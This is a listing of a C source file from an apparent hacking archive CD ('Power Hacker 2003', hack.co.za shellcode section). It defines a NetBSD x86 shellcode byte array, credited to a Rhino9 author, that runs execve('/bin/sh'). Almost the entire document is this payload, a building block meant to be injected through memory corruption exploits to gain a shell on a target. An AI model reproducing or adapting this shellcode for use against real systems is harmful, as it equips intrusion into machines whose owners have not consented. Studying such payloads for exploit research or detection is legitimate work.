home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / shellcode / netbsd / execve_binsh.c next >
Encoding:
Text File  |  2000-09-29  |  484 b   |  31 lines

  1. /*
  2.  *  NetBSD
  3.  *  execve() of /bin/sh by humble of Rhino9
  4.  */
  5.  
  6. char shellcode[] =
  7.   "\xeb\x23"
  8.   "\x5e"
  9.   "\x8d\x1e"
  10.   "\x89\x5e\x0b"
  11.   "\x31\xd2"
  12.   "\x89\x56\x07"
  13.   "\x89\x56\x0f"
  14.   "\x89\x56\x14"
  15.   "\x88\x56\x19"
  16.   "\x31\xc0"
  17.   "\xb0\x3b"
  18.   "\x8d\x4e\x0b"
  19.   "\x89\xca"
  20.   "\x52"
  21.   "\x51"
  22.   "\x53"
  23.   "\x50"
  24.   "\xeb\x18"
  25.   "\xe8\xd8\xff\xff\xff"
  26.   "/bin/sh"
  27.   "\x01\x01\x01\x01"
  28.   "\x02\x02\x02\x02"
  29.   "\x03\x03\x03\x03"
  30.   "\x9a\x04\x04\x04\x04\x07\x04";
  31.